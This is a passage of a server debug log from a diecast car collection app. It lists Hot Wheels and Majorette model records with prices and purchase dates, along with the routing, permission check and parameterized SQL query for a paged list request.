      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 88,
      model_name: 'Chevy Blazer 4X4',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-02T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'P',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 67,
      model_name: 'Kei Swap',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 66,
      model_name: 'Hoto Roto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 65,
      model_name: 'Cruise Bruiser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 64,
      model_name: 'Renault Espace F1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 63,
      model_name: '15 Land Rover Defender Double Cab',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'Q',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 62,
      model_name: '83 Chevy Silverado',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 61,
      model_name: 'RRRoadster',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 60,
      model_name: '2018 Bentley Continental GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'Q',
      vehicle_brand_name: 'Bentley',
      vehicle_brand_id: 125,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 55,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 54,
      model_name: "Drift'n Break",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 53,
      model_name: 'Lamborghini Huracán Sterrato',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Safari Mode',
      brand_id: 71,
      series_id: 144,
      case: 'Q',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 52,
      model_name: 'Ferrari SF90 Stradale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'Q',
      vehicle_brand_name: 'Ferrari',
      vehicle_brand_id: 124,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 51,
      model_name: 'Volvo 240 Drift Wagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 50,
      model_name: '91 GMC Syclone',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 49,
      model_name: 'Porsche 911 Turbo Cabriolet',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'P',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 48,
      model_name: 'Formula E Gen3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Track Aces',
      brand_id: 71,
      series_id: 146,
      case: 'P',
      vehicle_brand_name: 'Formula',
      vehicle_brand_id: 139,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 47,
      model_name: 'Mazda RX-3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'P',
      vehicle_brand_name: 'Mazda',
      vehicle_brand_id: 137,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 46,
      model_name: 'Silverado EV RST',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'N',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 45,
      model_name: 'GT Shelby GT500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 44,
      model_name: 'Gordon Murray Automotive T.33',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'P',
      vehicle_brand_name: 'Gordon Murray',
      vehicle_brand_id: 138,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 43,
      model_name: 'Jaguar MK1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'M',
      vehicle_brand_name: 'Jaguar',
      vehicle_brand_id: 133,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 42,
      model_name: '73 Pontiac Firebird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'M',
      vehicle_brand_name: 'Pontiac',
      vehicle_brand_id: 134,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 41,
      model_name: '99 Ford F-150 SVT Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 40,
      model_name: " Ford Model A Custom '31",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 39,
      model_name: '74 Brazilian Dodge Charger',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Celebration Racers',
      brand_id: 71,
      series_id: 98,
      case: 'D',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 38,
      model_name: 'Porsche 904 Carrera GTS',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 37,
      model_name: '71 Lamborghini Miura SV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW 70s vs 90s',
      brand_id: 71,
      series_id: 99,
      case: 'D',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 36,
      model_name: 'EL Segundo Rally',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Track Champs',
      brand_id: 71,
      series_id: 100,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 35,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'Q',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 34,
      model_name: 'Track Dwagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 33,
      model_name: 'Track Dwagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 32,
      model_name: '20 Dodge Charger Hellcat',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'P',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 31,
      model_name: 'Ravenger S/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 30,
      model_name: "Custom '56 Ford Truck",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Celebration Racers',
      brand_id: 71,
      series_id: 98,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 29,
      model_name: '96 Dodge Viper GTS',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-04T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'Q',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 28,
      model_name: '1983 Porsche 928S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'P',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 27,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 26,
      model_name: 'Ferrari 365 GTB4 Competizione',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-08T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'Q',
      vehicle_brand_name: 'Ferrari',
      vehicle_brand_id: 124,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 25,
      model_name: 'Terra-Tracktyl',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Track Champs',
      brand_id: 71,
      series_id: 100,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 24,
      model_name: '2018 Honda Civic Type R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'P',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 23,
      model_name: '95 Mazda RX-7 Drift',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-04T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW 70s vs 90s',
      brand_id: 71,
      series_id: 99,
      case: 'P',
      vehicle_brand_name: 'Mazda',
      vehicle_brand_id: 137,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 22,
      model_name: 'Jaguar XJC V12 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Wide Widebody',
      brand_id: 71,
      series_id: 104,
      case: 'N',
      vehicle_brand_name: 'Jaguar',
      vehicle_brand_id: 133,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 21,
      model_name: '67 Austin Mini Van',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'P',
      vehicle_brand_name: 'Austin',
      vehicle_brand_id: 136,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 20,
      model_name: 'Czinger 21C',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Czinger',
      vehicle_brand_id: 135,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 19,
      model_name: '70 Dodge Power Wagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-20T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'C',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-16T04:32:39.699Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-16T04:32:39.699Z server-connect:app Executing action step identify
2025-12-16T04:32:39.699Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:39.700Z server-connect:output identity: 1
2025-12-16T04:32:39.700Z server-connect:app Executing action step restrict
2025-12-16T04:32:39.700Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:39.700Z server-connect:output restrict: undefined
2025-12-16T04:32:39.700Z server-connect:app Executing action step paged
2025-12-16T04:32:39.700Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-16T04:32:39.703Z server-connect:output list: {
  offset: 0,
  limit: 100,
  total: 23,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
